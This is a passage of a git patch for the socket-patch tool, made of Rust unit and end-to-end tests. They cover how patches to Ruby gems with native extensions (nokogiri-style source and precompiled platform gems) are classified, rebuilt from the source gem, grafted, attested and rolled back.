nokogiri_files(extra: &[&str]) -> HashMap { + let all: Vec<&str> = NOKOGIRI_BUILT + .iter() + .chain(NOKOGIRI_PLAIN) + .chain(extra) + .copied() + .collect(); + files(&all) + } + + /// In the source-built gem (its gemspec declares the extension) + /// everything `extconf.rb` may build from is an input, not just the C + /// files under the script's dir: a record that only adds + /// `patches/libxml2/.patch` changes the compiled library. + #[test] + fn classify_nokogiri_built_from_source() { + let spec = to_ruby("nokogiri", None, &["ext/nokogiri/extconf.rb"]); + let facts = SpecFacts::of(&spec, "nokogiri-1.18.3"); + assert_eq!(facts.platform, None); + let scope = classify(&facts, &nokogiri_files(&["lib/nokogiri/css/parser.y"])); + let mut expected: Vec<&str> = NOKOGIRI_BUILT.to_vec(); + // A grammar counts in a gem that builds, as before. + expected.push("lib/nokogiri/css/parser.y"); + expected.sort(); + assert_eq!(scope.inputs, expected); + assert!(scope.builds_extensions); + assert_eq!(scope.precompiled, None); + assert_eq!( + scope.source_gem().map(|g| g.full_name()).as_deref(), + Some("nokogiri-1.18.3") + ); + + let only_a_patch = classify( + &facts, + &files(&["patches/libxml2/0100-CVE-2025-0000.patch"]), + ); + assert_eq!( + only_a_patch.inputs, + ["patches/libxml2/0100-CVE-2025-0000.patch"] + ); + } + + /// The precompiled platform gem declares no extensions and still runs + /// compiled code: the same files are inputs, rebuilt from the + /// ruby-platform gem of its version. A grammar under `lib/` is not one + /// (the gem packs its generated parser, which Ruby loads). + #[test] + fn classify_nokogiri_precompiled() { + let spec = to_ruby("nokogiri", Some("arm64-darwin"), &[]); + let facts = SpecFacts::of(&spec, "nokogiri-1.18.3-arm64-darwin"); + assert_eq!(facts.platform.as_deref(), Some("arm64-darwin")); + let scope = classify(&facts, &nokogiri_files(&["lib/nokogiri/css/parser.y"])); + assert_eq!(scope.inputs, NOKOGIRI_BUILT); + assert!(!scope.builds_extensions); + assert_eq!(scope.precompiled.as_deref(), Some("arm64-darwin")); + let source = scope.source_gem().unwrap(); + assert_eq!(source.full_name(), "nokogiri-1.18.3"); + assert_eq!(source.platform, None, "the ruby-platform source gem"); + + let ruby_only = classify(&facts, &files(NOKOGIRI_PLAIN)); + assert!(ruby_only.inputs.is_empty(), "{:?}", ruby_only.inputs); + } + + /// A pure-Ruby gem (no extensions, the `ruby` platform) is classified + /// as before: whatever its files are called, only a C source under + /// `ext/` is taken for one, and nothing else needs a build. + #[test] + fn classify_pure_ruby_gem_is_unchanged() { + let spec = to_ruby("rack", None, &[]); + let facts = SpecFacts::of(&spec, "rack-1.18.3"); + assert_eq!(facts.platform, None); + let scope = classify( + &facts, + &files(&[ + "data/x.yml", + "lib/rack.rb", + "patches/a.patch", + "ports/archives/a.tar.xz", + "dependencies.yml", + "Cargo.toml", + "vendor/x.c", + "gumbo-parser/src/parser.c", + ]), + ); + assert!(scope.inputs.is_empty(), "{:?}", scope.inputs); + assert!(!scope.builds_extensions); + assert_eq!(scope.precompiled, None); + let with_ext = classify(&facts, &files(&["data/x.yml", "ext/x.c"])); + assert_eq!(with_ext.inputs, ["ext/x.c"]); + } + + /// The JRuby build of a gem ships jars: its Java sources are inputs + /// (nothing here rebuilds them, so the patch is refused, never called + /// applied), while its Ruby files and a jar replaced whole are plain. + #[test] + fn classify_java_gem() { + let spec = to_ruby("nokogiri", Some("java"), &[]); + let facts = SpecFacts::of(&spec, "nokogiri-1.18.3-java"); + let scope = classify( + &facts, + &files(&[ + "ext/java/nokogiri/XmlNode.java", + "lib/nokogiri/xml/node.rb", + "lib/nokogiri/nokogiri.jar", + "lib/nokogiri/internals/Helper.java", + ]), + ); + assert_eq!( + scope.inputs, + [ + "ext/java/nokogiri/XmlNode.java", + "lib/nokogiri/internals/Helper.java" + ] + ); + assert_eq!(scope.precompiled.as_deref(), Some("java")); + assert!(is_java_platform("java")); + assert!(is_java_platform("universal-java-17")); + for platform in ["arm64-darwin", "x86_64-linux-gnu", "x64-mingw-ucrt"] { + assert!(!is_java_platform(platform), "{platform}"); + } + } + + /// A build system's manifest is an input wherever it sits, and a gem + /// that requires from its root says nothing about any file. + #[test] + fn classify_native_gem_edges() { + let facts = built_gem(&["ext/a/extconf.rb"]); + let scope = classify( + &facts, + &files(&["CMakeLists.txt", "NOTES.txt", "Rakefile", "lib/a.rb"]), + ); + assert_eq!(scope.inputs, ["CMakeLists.txt", "Rakefile"]); + let rooted = SpecFacts { + require_paths: vec![".".to_string()], + ..built_gem(&["ext/a/extconf.rb"]) + }; + assert_eq!(classify(&rooted, &files(&["a.rb"])).inputs, ["a.rb"]); + } + + /// The platform is the dir name's suffix after `-`, or + /// what the gemspec assigns; the release names the archive. + #[test] + fn spec_facts_read_the_release_and_platform() { + let ruby = SpecFacts::of( + &to_ruby("ruby-prof", None, &["ext/a/extconf.rb"]), + "ruby-prof-1.18.3", + ); + assert_eq!(ruby.platform, None); + assert_eq!( + ruby.release.as_ref().map(GemId::full_name).as_deref(), + Some("ruby-prof-1.18.3") + ); + assert!(ruby.extensions.declared); + assert_eq!(ruby.require_paths, ["lib"]); + + // The gemspec's own spelling of the platform may differ from the + // dir's (an older RubyGems drops `-gnu`): the dir names the archive. + let linux = SpecFacts::of( + &to_ruby("nokogiri", Some("x86_64-linux-gnu"), &[]), + "nokogiri-1.18.3-x86_64-linux", + ); + assert_eq!(linux.platform.as_deref(), Some("x86_64-linux")); + assert_eq!( + linux.release.as_ref().map(GemId::full_name).as_deref(), + Some("nokogiri-1.18.3-x86_64-linux") + ); + + // A dir that is not this gemspec's release: the assigned platform + // still marks a platform gem, and there is no archive to name. + let moved = SpecFacts::of(&to_ruby("nokogiri", Some("java"), &[]), "something-else"); + assert_eq!(moved.platform.as_deref(), Some("java")); + assert_eq!(moved.release, None); + // `nokogiri-1.18.30` is not `nokogiri-1.18.3` plus a platform. + let longer = SpecFacts::of(&to_ruby("nokogiri", None, &[]), "nokogiri-1.18.30"); + assert_eq!((longer.platform, longer.release), (None, None)); + // `s.platform = Gem::Platform::RUBY` assigns no string. + let explicit = "Gem::Specification.new do |s|\n s.name = \"a\"\n s.version = \"1\"\n \ + s.platform = Gem::Platform::RUBY\nend\n"; + assert_eq!(SpecFacts::of(explicit, "a-1").platform, None); + } + + #[test] + fn ruby_facts_parse() { + let facts = parse_ruby_facts( + "noise\nsp_extensions_dir\t/h/extensions/arm64-darwin-25/3.4.0\n\ + sp_ruby\t3.4.10\t4.0.15\tbundle\tarm64-darwin-25\tyes\n", + ) + .unwrap(); + assert_eq!(facts.minor().as_deref(), Some("3.4")); + assert_eq!(facts.dlext, "bundle"); + assert_eq!(facts.runs_platform, Some(true)); + assert_eq!(facts.versions().ruby.as_deref(), Some("3.4.10")); + let unasked = parse_ruby_facts("sp_ruby\t3.3.0\t3.5.3\tso\tx86_64-linux\t\n").unwrap(); + assert_eq!(unasked.runs_platform, None); + let other = parse_ruby_facts("sp_ruby\t3.3.0\t3.5.3\tso\tx86_64-linux\tno\n").unwrap(); + assert_eq!(other.runs_platform, Some(false)); + for unreadable in ["", "sp_ruby\t3.4.10\n", "sp_extensions_dir\t/x\n"] { + assert_eq!(parse_ruby_facts(unreadable), None, "{unreadable:?}"); + } + assert_eq!( + tagged_lines( + "sp_missing\ta\t~> 1.0\nx\nsp_missing\tb\t>= 0,< 2\n", + "sp_missing" + ), + [vec!["a", "~> 1.0"], vec!["b", ">= 0,< 2"]] + ); + assert_eq!( + abi_of_home(Path::new("/p/vendor/bundle/ruby/3.4.0")).as_deref(), + Some("3.4.0") + ); + assert_eq!(abi_of_home(Path::new("/opt/gems")), None); + } + + // ── a precompiled copy ────────────────────────────────────────────── + + const PREBUILT: &[u8] = b"\xcf\xfa\xed\xfe prebuilt"; + + /// A precompiled `a-1-arm64-darwin` copy in `home`, with a prebuilt + /// binary for Ruby 3.3 and 3.4 in the rake-compiler layout. + fn precompiled_gem(home: &Path) -> GemCopy { + let gem_dir = home.join("gems/a-1-arm64-darwin"); + for minor in ["3.3", "3.4"] { + let dir = gem_dir.join("lib/a").join(minor); + std::fs::create_dir_all(&dir).unwrap(); + std::fs::write(dir.join("a.bundle"), PREBUILT).unwrap(); + } + std::fs::create_dir_all(gem_dir.join("ext/a")).unwrap(); + std::fs::write(gem_dir.join("ext/a/a.c"), b"int a;").unwrap(); + std::fs::create_dir_all(home.join("specifications")).unwrap(); + std::fs::write( + home.join("specifications/a-1-arm64-darwin.gemspec"), + "Gem::Specification.new do |s|\n s.name = \"a\".freeze\n \ + s.version = \"1\".freeze\n s.platform = \"arm64-darwin\".freeze\n \ + s.require_paths = [\"lib\".freeze]\nend\n", + ) + .unwrap(); + GemCopy::of(&gem_dir).unwrap() + } + + fn probe_for(copy: &GemCopy, ruby_version: &str) -> Probe { + Probe { + ruby: PathBuf::from("/r"), + gem_dir: copy.gem_dir.clone(), + extension_dir: copy.home.join("extensions/p/3.4.0").join(©.full_name), + require_path: "lib".to_string(), + lib_dir: copy.gem_dir.join("lib"), + facts: Some(RubyFacts { + ruby_version: ruby_version.to_string(), + rubygems_version: "3.6.9".to_string(), + dlext: "bundle".to_string(), + platform: "arm64-darwin-25".to_string(), + runs_platform: Some(true), + }), + } + } + + /// A build of the source gem `a-1` in the stage home `stage`: its + /// extension dir holds `rels`, each with the bytes `built`. + fn staged_build(stage: &Path, rels: &[&str], built: &[u8]) -> StagedBuild { + let label = "extensions/arm64-darwin-25/3.4.0/a-1".to_string(); + let extension_dir = stage.join(&label); + let gem_dir = stage.join("gems/a-1"); + for rel in rels { + for base in [&extension_dir, &gem_dir.join("lib")] { + let path = base.join(rel); + std::fs::create_dir_all(path.parent().unwrap()).unwrap(); + std::fs::write(path, built).unwrap(); + } + } + std::fs::write(extension_dir.join(BUILD_COMPLETE), b"").unwrap(); + std::fs::write(extension_dir.join("gem_make.out"), b"log").unwrap(); + StagedBuild { + gem: StagedGem { + gem_dir, + spec_path: stage.join("specifications/a-1.gemspec"), + }, + extension_dir, + label, + } + } + + /// The build is matched to the binary the gem keeps for the building + /// Ruby's minor; a single binary kept elsewhere is matched by name; no + /// counterpart, or several, is refused. + #[test] + fn a_graft_replaces_the_binary_ruby_loads() { + let tmp = tempfile::tempdir().unwrap(); + let copy = precompiled_gem(&tmp.path().join("home")); + let staged = staged_build(&tmp.path().join("stage"), &["a/a.bundle", "a/a.rb"], b"new"); + + let grafts = plan_graft(©, &probe_for(©, "3.4.10"), &staged).unwrap(); + assert_eq!(grafts.len(), 1, "only the loadable extension is grafted"); + assert_eq!(grafts[0].target, "lib/a/3.4/a.bundle"); + assert_eq!(grafts[0].staged, staged.extension_dir.join("a/a.bundle")); + let older = plan_graft(©, &probe_for(©, "3.3.6"), &staged).unwrap(); + assert_eq!(older[0].target, "lib/a/3.3/a.bundle"); + + // No binary for this Ruby, and two that share the name. + let why = plan_graft(©, &probe_for(©, "3.5.0"), &staged).unwrap_err(); + assert!(why.contains("no prebuilt a.bundle for Ruby 3.5"), "{why}"); + assert!( + why.contains("lib/a/3.3/a.bundle, lib/a/3.4/a.bundle"), + "{why}" + ); + + // One binary, wherever the gem keeps it. + std::fs::remove_dir_all(copy.gem_dir.join("lib/a/3.3")).unwrap(); + std::fs::rename( + copy.gem_dir.join("lib/a/3.4/a.bundle"), + copy.gem_dir.join("lib/a.bundle"), + ) + .unwrap(); + let single = plan_graft(©, &probe_for(©, "3.5.0"), &staged).unwrap(); + assert_eq!(single[0].target, "lib/a.bundle"); + + std::fs::remove_file(copy.gem_dir.join("lib/a.bundle")).unwrap(); + let why = plan_graft(©, &probe_for(©, "3.4.10"), &staged).unwrap_err(); + assert!(why.contains("no prebuilt a.bundle"), "{why}"); + + // A build that left no loadable extension has nothing to graft. + let empty = staged_build(&tmp.path().join("stage2"), &["a/a.rb"], b"new"); + let why = plan_graft(©, &probe_for(©, "3.4.10"), &empty).unwrap_err(); + assert!(why.contains("no .bundle extension"), "{why}"); + } + + /// A graft is attested like a rebuilt extension dir: only while the + /// marker's sources are the record's and the replaced binary still has + /// the built bytes. Rollback puts the prebuilt binary back, bytes and + /// mode, and removes what the patch added to the copy. + #[tokio::test] + async fn a_grafted_copy_is_attested_and_rolled_back() { + let tmp = tempfile::tempdir().unwrap(); + let home = tmp.path().join("home"); + let copy = precompiled_gem(&home); + let target = copy.gem_dir.join("lib/a/3.4/a.bundle"); + #[cfg(unix)] + { + use std::os::unix::fs::PermissionsExt; + std::fs::set_permissions(&target, std::fs::Permissions::from_mode(0o755)).unwrap(); + } + let before_c = compute_git_sha256_from_bytes(b"int a;"); + let record: HashMap = [ + ( + "ext/a/a.c".to_string(), + PatchFileInfo { + before_hash: before_c, + after_hash: "c".repeat(64), + }, + ), + // In the source gem alone: the precompiled copy never had it. + ( + "patches/0001.patch".to_string(), + PatchFileInfo { + before_hash: "b".repeat(64), + after_hash: "d".repeat(64), + }, + ), + ] + .into(); + let (scope, found) = scope_of(©.gem_dir, &record).await; + assert!(found.is_some()); + assert_eq!(scope.inputs, ["ext/a/a.c", "patches/0001.patch"]); + assert_eq!(scope.precompiled.as_deref(), Some("arm64-darwin")); + assert_eq!( + verify_native_build(©.gem_dir, &record).await, + Err(NOT_REBUILT_REASON.to_string()), + "patched sources over the prebuilt binary attest nothing" + ); + + // The copy takes the file it never shipped as an addition. + let (installed, absent) = files_for_precompiled(©, &scope, &record).await; + assert_eq!(absent, ["patches/0001.patch"]); + assert_eq!(installed["patches/0001.patch"].before_hash, ""); + assert_eq!(installed["ext/a/a.c"], record["ext/a/a.c"]); + + let staged = staged_build(&tmp.path().join("stage"), &["a/a.bundle"], b"rebuilt"); + let grafts = plan_graft(©, &probe_for(©, "3.4.10"), &staged).unwrap(); + assert!(back_up_prebuilt(©, &grafts, &absent).unwrap()); + assert!( + !back_up_prebuilt(©, &grafts, &["patches/0002.patch".to_string()]).unwrap(), + "the original is backed up once" + ); + graft_binaries(©, &scope, &record, &grafts).unwrap(); + assert_eq!(std::fs::read(&target).unwrap(), b"rebuilt"); + assert_eq!( + std::fs::read(copy.gem_dir.join("lib/a/3.3/a.bundle")).unwrap(), + PREBUILT, + "another Ruby's binary is not this build's to replace" + ); + let marker = read_marker_sync(©.gem_dir).unwrap(); + assert!(marker.grafted); + assert_eq!(marker.schema, GRAFT_MARKER_SCHEMA); + assert_eq!( + marker.lib_artifacts.keys().collect::>(), + ["lib/a/3.4/a.bundle"] + ); + assert_eq!(verify_native_build(©.gem_dir, &record).await, Ok(())); + + // Another record, or a binary that is no longer the built one. + let mut other = record.clone(); + other.get_mut("ext/a/a.c").unwrap().after_hash = "e".repeat(64); + assert!(verify_native_build(©.gem_dir, &other).await.is_err()); + std::fs::write(&target, b"reinstalled").unwrap(); + assert!(verify_native_build(©.gem_dir, &record).await.is_err()); + std::fs::write(&target, b"rebuilt").unwrap(); + + // Rollback: the added file is removed (an empty `beforeHash`), the + // one the copy shipped is restored. + let undo = rollback_files(©.gem_dir, &record).await; + assert_eq!(undo["patches/0001.patch"].before_hash, ""); + assert_eq!(undo["ext/a/a.c"], record["ext/a/a.c"]); + let env = RubyEnv { + cwd: home.clone(), + rebuild: true, + offline: true, + }; + assert_eq!(restore_original_build(©.gem_dir, &env).await, Ok(true)); + assert_eq!(std::fs::read(&target).unwrap(), PREBUILT); + #[cfg(unix)] + { + use std::os::unix::fs::PermissionsExt; + let mode = std::fs::metadata(&target).unwrap().permissions().mode(); + assert_eq!(mode & 0o777, 0o755, "the binary keeps its mode"); + } + assert!(!copy.gem_dir.join(MARKER_FILE).exists()); + assert!(!copy.gem_dir.join(BACKUP_DIR).exists()); + assert_eq!(rollback_files(©.gem_dir, &record).await, record); + assert_eq!(restore_original_build(©.gem_dir, &env).await, Ok(false)); + } + + /// A marker speaks for the kind of copy it was written for, and a + /// grafted one must name what it replaced. + #[test] + fn a_marker_of_the_wrong_kind_attests_nothing() { + let tmp = tempfile::tempdir().unwrap(); + let copy = precompiled_gem(&tmp.path().join("home")); + let after = "c".repeat(64); + let record: HashMap = + [("ext/a/a.c".to_string(), info(&after))].into(); + let scope = NativeScope { + inputs: vec!["ext/a/a.c".into()], + precompiled: Some("arm64-darwin".into()), + ..NativeScope::default() + }; + let grafted = BuildMarker { + schema: GRAFT_MARKER_SCHEMA, + sources: [("ext/a/a.c".to_string(), after.clone())].into(), + lib_artifacts: [( + "lib/a/3.4/a.bundle".to_string(), + compute_git_sha256_from_bytes(PREBUILT), + )] + .into(), + grafted: true, + ..BuildMarker::default() + }; + assert!(marker_holds(&grafted, ©, &scope, &record)); + // Nothing replaced: nothing attested. + let empty = BuildMarker { + lib_artifacts: BTreeMap::new(), + ..grafted.clone() + }; + assert!(!marker_holds(&empty, ©, &scope, &record)); + // A gem RubyGems builds is not attested by a graft, nor a + // precompiled one by an extension dir's marker. + let built = NativeScope { + builds_extensions: true, + precompiled: None, + ..scope.clone() + }; + assert!(!marker_holds(&grafted, ©, &built, &record)); + let dir_marker = BuildMarker { + schema: MARKER_SCHEMA, + grafted: false, + extension_dir: "extensions/p/3.4.0/a-1-arm64-darwin".into(), + ..grafted.clone() + }; + assert!(!marker_holds(&dir_marker, ©, &scope, &record)); + + // On disk: each schema is read only in its own shape. + let write = |marker: &BuildMarker| { + std::fs::write( + copy.gem_dir.join(MARKER_FILE), + serde_json::to_vec(marker).unwrap(), + ) + .unwrap(); + read_marker_sync(©.gem_dir) + }; + assert_eq!(write(&grafted), Some(grafted.clone())); + assert_eq!(write(&dir_marker), Some(dir_marker.clone())); + for (schema, is_graft) in [ + (MARKER_SCHEMA, true), + (GRAFT_MARKER_SCHEMA, false), + (3, true), + ] { + let odd = BuildMarker { + schema, + grafted: is_graft, + ..grafted.clone() + }; + assert_eq!(write(&odd), None, "schema {schema}, grafted {is_graft}"); + } + // The marker a release before the graft wrote still reads. + std::fs::write( + copy.gem_dir.join(MARKER_FILE), + "{\"schema\":1,\"sources\":{},\"extensionDir\":\"extensions/p/3.4.0/a-1\",\ + \"extArtifacts\":{},\"libArtifacts\":{}}", + ) + .unwrap(); + assert!(read_marker_sync(©.gem_dir).is_some_and(|m| !m.grafted)); + } + + // ── a build staged from the source gem ────────────────────────────── + + /// A staged build takes the place of the installed extension dir and + /// its `lib/` copies, with the original backed up and the marker + /// written, as an in-place rebuild leaves them; rollback restores it. + #[tokio::test] + async fn a_staged_build_replaces_the_installed_one() { + let tmp = tempfile::tempdir().unwrap(); + let home = tmp.path().join("home"); + let copy = installed_gem(&home, "lib"); + let ext = home.join("extensions/p/3.4.0/a-1"); + std::fs::create_dir_all(ext.join("a")).unwrap(); + std::fs::write(ext.join("a/a.so"), b"original").unwrap(); + std::fs::write(ext.join(BUILD_COMPLETE), b"").unwrap(); + std::fs::create_dir_all(copy.gem_dir.join("lib/a")).unwrap(); + std::fs::write(copy.gem_dir.join("lib/a/a.so"), b"original").unwrap(); + let probe = Probe { + ruby: PathBuf::from("/r"), + gem_dir: copy.gem_dir.clone(), + extension_dir: ext.clone(), + require_path: "lib".to_string(), + lib_dir: copy.gem_dir.join("lib"), + facts: None, + }; + let stage = open_stage(©).unwrap(); + assert!(stage.home.starts_with(&home), "staged inside the gem home"); + let label = "extensions/p/3.4.0/a-1".to_string(); + let staged_ext = stage.home.join(&label); + let staged_gem = stage.home.join("gems/a-1"); + std::fs::create_dir_all(staged_ext.join("a")).unwrap(); + std::fs::create_dir_all(staged_gem.join("lib/a")).unwrap(); + std::fs::write(staged_ext.join("a/a.so"), b"rebuilt").unwrap(); + std::fs::write(staged_ext.join(BUILD_COMPLETE), b"").unwrap(); + std::fs::write(staged_gem.join("lib/a/a.so"), b"rebuilt").unwrap(); + let built = StagedBuild { + gem: StagedGem { + gem_dir: staged_gem, + spec_path: stage.home.join("specifications/a-1.gemspec"), + }, + extension_dir: staged_ext, + label, + }; + let after = "c".repeat(64); + let record: HashMap = + [("ext/a/a.c".to_string(), info(&after))].into(); + let scope = NativeScope { + inputs: vec!["ext/a/a.c".into()], + builds_extensions: true, + ..NativeScope::default() + }; + + // A build for another ABI is not this copy's. + let foreign = StagedBuild { + label: "extensions/p/3.3.0/a-1".to_string(), + ..built.clone() + }; + let why = install_staged_build(©, &probe, &scope, &record, &foreign, true); + assert!(why.unwrap_err().contains("not the installed extension's")); + assert_eq!(std::fs::read(ext.join("a/a.so")).unwrap(), b"original"); + assert!(!copy.gem_dir.join(BACKUP_DIR).exists()); + + install_staged_build(©, &probe, &scope, &record, &built, true).unwrap(); + assert_eq!(std::fs::read(ext.join("a/a.so")).unwrap(), b"rebuilt"); + assert!(ext.join(BUILD_COMPLETE).is_file()); + assert_eq!( + std::fs::read(copy.gem_dir.join("lib/a/a.so")).unwrap(), + b"rebuilt" + ); + assert!(!parked_build_path(&ext).exists()); + let marker = read_marker_sync(©.gem_dir).unwrap(); + assert_eq!(marker.schema, MARKER_SCHEMA); + assert!(marker_holds(&marker, ©, &scope, &record)); + close_stage(stage, ©).await; + assert!(!home.join(BUILD_STAGE_DIR).exists(), "the stage is gone"); + + let env = RubyEnv { + cwd: home.clone(), + rebuild: true, + offline: true, + }; + assert_eq!(restore_original_build(©.gem_dir, &env).await, Ok(true)); + assert_eq!(std::fs::read(ext.join("a/a.so")).unwrap(), b"original"); + assert_eq!( + std::fs::read(copy.gem_dir.join("lib/a/a.so")).unwrap(), + b"original" + ); + } + + /// A stage an interrupted run left is only disk space: the next run of + /// the copy drops it. One a live run holds is left to that run. + #[cfg(unix)] + #[test] + fn a_stale_stage_is_swept_and_a_live_one_is_not() { + let tmp = tempfile::tempdir().unwrap(); + let home = tmp.path().join("home"); + let copy = installed_gem(&home, "lib"); + let root = stage_root(©); + std::fs::create_dir_all(root.join("home/gems/a-1")).unwrap(); + std::fs::write(root.join("home/gems/a-1/half"), b"x").unwrap(); + + // Left behind: recovery (the start of `apply` and `rollback`) + // removes it and the dir that held it. + assert!(!recover_interrupted_rebuild_sync(©, Some("lib")).unwrap()); + assert!(!home.join(BUILD_STAGE_DIR).exists()); + + // Held by a run that is still building. + let stage = open_stage(©).unwrap(); + let refused = sweep_stale_stage(©).unwrap_err(); + assert_eq!(refused.kind(), std::io::ErrorKind::WouldBlock); + let why = open_stage(©).err().unwrap(); + assert!(why.contains("right now"), "{why}"); + assert!(stage.home.is_dir()); + drop(stage); + // The holder gone: a sibling test forking right now keeps a copy + // of the descriptor, and the lock with it, until it execs. + loop { + match sweep_stale_stage(©) { + Err(e) if e.kind() == std::io::ErrorKind::WouldBlock => { + std::thread::sleep(Duration::from_millis(10)); + } + swept => break swept.unwrap(), + } + } + assert!(!root.exists()); + + // A link planted where the stage goes is not written through. + let elsewhere = tmp.path().join("elsewhere"); + std::fs::create_dir_all(&elsewhere).unwrap(); + std::os::unix::fs::symlink(&elsewhere, home.join(BUILD_STAGE_DIR)).unwrap(); + let why = open_stage(©).err().unwrap(); + assert!(why.contains("is not a directory"), "{why}"); + assert_eq!(std::fs::read_dir(&elsewhere).unwrap().count(), 0); + } } From e4a0667f16dead8e445535f659969116a15614ac Mon Sep 17 00:00:00 2001 From: Mikola Lysenko Date: Mon, 16 Nov 2026 13:11:47 -0500 Subject: [PATCH 03/13] Rebuild from the source gem when a build removed an input; e2e for archive rebuilds and grafts A record that changes a build input the installed copy no longer holds (a build deletes nokogiri's ports/) is laid over the source gem, where its beforeHash is checked, and the file is added to the copy; rollback removes it. Without the source gem such a record is refused from files alone. The e2e suite gains a stand-in Ruby that speaks the stage modes, and two capstones that build a nokogiri-shaped fixture gem for real: one built from source whose build removes an input, one precompiled platform copy in the rake-compiler layout, fed from a mock gem source. Co-Authored-By: Claude Fable 5.2 --- .../tests/e2e_gem_native_ext_build.rs | 1326 ++++++++++++++++- crates/socket-patch-core/src/patch/gem_ext.rs | 218 ++- 2 files changed, 1462 insertions(+), 82 deletions(-) diff --git a/crates/socket-patch-cli/tests/e2e_gem_native_ext_build.rs b/crates/socket-patch-cli/tests/e2e_gem_native_ext_build.rs index ffd368cdf..36c88e3b4 100644 --- a/crates/socket-patch-cli/tests/e2e_gem_native_ext_build.rs +++ b/crates/socket-patch-cli/tests/e2e_gem_native_ext_build.rs @@ -185,8 +185,11 @@ impl Fixture { self.gem_dir.join(".socket-patch-native-orig") } + /// Run the CLI in the project. `gem install` left the gem's archive in + /// the home's `cache/`, so no test here needs a gem registry: the one + /// they are given answers nothing. fn run(&self, args: &[&str]) -> (i32, String, String) { - common::run(&self.proj, args) + common::run_with_env(&self.proj, args, &[("SOCKET_RUBYGEMS_URL", NO_REGISTRY)]) } } @@ -351,10 +354,37 @@ fn the_installed_gemspec_is_not_evaluated_before_the_record_verifies() { ); std::fs::write(fx.gem_dir.join(C_KEY), c_source(1)).unwrap(); + // The extension is rebuilt from the source gem RubyGems left in the + // home's `cache/`, with the gemspec that archive carries: the installed + // one is not evaluated at all. let (code, stdout, stderr) = fx.run(&["apply", "--json"]); assert_eq!(code, 0, "apply failed:\n{stdout}\n{stderr}"); assert_eq!(event_action(&stdout), "applied", "{stdout}"); - assert!(evaluated.exists(), "the build loads the gemspec"); + assert!( + !evaluated.exists(), + "a rebuild from the source gem evaluated the installed gemspec" + ); + assert_eq!(fx.value(), "2", "Ruby must load the rebuilt extension"); + // Reading the value loaded the gem, which is RubyGems evaluating its + // gemspec: the trace of that is not the CLI's. + std::fs::remove_file(&evaluated).unwrap(); + + // Without that archive the copy's own tree is built, by RubyGems' + // builder, which loads the installed gemspec: now, and only now. + let (code, stdout, stderr) = fx.run(&["rollback", "--json"]); + assert_eq!(code, 0, "rollback failed:\n{stdout}\n{stderr}"); + assert!(!evaluated.exists(), "rollback evaluated the gemspec"); + assert_eq!(fx.value(), "1"); + std::fs::remove_file(&evaluated).unwrap(); + std::fs::remove_file(fx.home.join("cache").join(format!("{FULL_NAME}.gem"))).unwrap(); + write_manifest(&fx.proj.join(".socket"), &c_source(1), &patched); + let (code, stdout, stderr) = fx.run(&["apply", "--json", "--dry-run"]); + assert_eq!(code, 0, "{stdout}\n{stderr}"); + assert!(!evaluated.exists(), "a dry run evaluated the gemspec"); + let (code, stdout, stderr) = fx.run(&["apply", "--json", "--offline"]); + assert_eq!(code, 0, "apply failed:\n{stdout}\n{stderr}"); + assert_eq!(event_action(&stdout), "applied", "{stdout}"); + assert!(evaluated.exists(), "the in-place build loads the gemspec"); assert_eq!(fx.value(), "2", "Ruby must load the rebuilt extension"); } @@ -472,6 +502,37 @@ fn native_patch_builds_from_a_relative_crawl_root() { assert!(!fx.marker().exists()); } +/// The paths that differ between two [`walk_files`] trees: `+` added, `-` +/// removed, `~` changed. A failed comparison prints these, not the bytes +/// of every shared object. +fn tree_diff(before: &[(String, Vec)], after: &[(String, Vec)]) -> Vec { + let mut out = Vec::new(); + for (path, bytes) in before { + match after.iter().find(|(p, _)| p == path) { + None => out.push(format!("-{path}")), + Some((_, now)) if now != bytes => out.push(format!("~{path}")), + Some(_) => {} + } + } + for (path, _) in after { + if !before.iter().any(|(p, _)| p == path) { + out.push(format!("+{path}")); + } + } + out +} + +/// Assert that the tree under `dir` holds exactly the files of `before`, +/// byte for byte. +fn assert_tree(dir: &Path, before: &[(String, Vec)], what: &str) { + assert_eq!( + tree_diff(before, &walk_files(dir)), + Vec::::new(), + "{} differs {what}", + dir.display() + ); +} + /// `(relative path, bytes)` of every file under `dir`. fn walk_files(dir: &Path) -> Vec<(String, Vec)> { let mut out = Vec::new(); @@ -536,12 +597,24 @@ fn fake_native_gem(declares_extensions: bool) -> (tempfile::TempDir, PathBuf, Pa (tmp, proj, gem_dir) } +/// A gem registry that answers nothing (nothing listens on the discard +/// port): the stand-in for rubygems.org in every test that serves none, so +/// no test reaches the network. +const NO_REGISTRY: &str = "http://127.0.0.1:9"; + /// Run the CLI with a `PATH` holding no `ruby`. fn run_without_ruby(proj: &Path, args: &[&str]) -> (i32, String, String) { let empty = proj.join(".empty-path"); std::fs::create_dir_all(&empty).unwrap(); let path = empty.display().to_string(); - common::run_with_env(proj, args, &[("PATH", path.as_str())]) + common::run_with_env( + proj, + args, + &[ + ("PATH", path.as_str()), + ("SOCKET_RUBYGEMS_URL", NO_REGISTRY), + ], + ) } /// A stand-in `ruby`, alone on the `PATH` the CLI is run with: a shell @@ -569,8 +642,11 @@ impl FakeRuby { let state = tmp.path().join("state"); std::fs::create_dir_all(&bin).unwrap(); std::fs::create_dir_all(&state).unwrap(); - // argv: -e extensions_dir + // argv: -e extensions_dir [] // -e build + // -e unpack + // -e missing_deps + // -e stage_build let script = format!( r#"#!/bin/sh PATH=/usr/bin:/bin @@ -578,9 +654,54 @@ state='{state}' mode="$3" echo "$mode" >> "$state/calls" env > "$state/env.$mode" +hang() {{ + echo $$ > "$state/build.pid" + sleep 600 & + echo $! > "$state/compiler.pid" + : > "$state/building" + wait + exit 1 +}} case "$mode" in extensions_dir) printf 'sp_extensions_dir\t%s\n' "$4/extensions/x86_64-linux/3.4.0" + runs='' + if [ -n "$5" ]; then + runs=yes + [ -e "$state/other-platform" ] && runs=no + printf '%s\n' "$5" > "$state/platform-asked" + fi + printf 'sp_ruby\t3.4.1\t3.6.2\tso\tx86_64-linux\t%s\n' "$runs" + ;; +unpack) + # The "archive" is the tree the test laid in /source. + if [ ! -d "$state/source" ]; then + echo "the archive holds other-9.9.9, not $6" >&2 + exit 1 + fi + mkdir -p "$5/gems/$6" "$5/specifications" + cp -R "$state/source/." "$5/gems/$6/" + : > "$5/specifications/$6.gemspec" + printf 'sp_unpacked\t%s\tlib\n' "$6" + ;; +missing_deps) + echo sp_deps_checked + ;; +stage_build) + full=$(basename "$4" .gemspec) + ext="$5/extensions/x86_64-linux/3.4.0/$full" + [ -e "$state/hang" ] && hang + if [ -e "$state/fail-build" ]; then + echo "sp_native.c:7: error: this is not C" >&2 + exit 1 + fi + mkdir -p 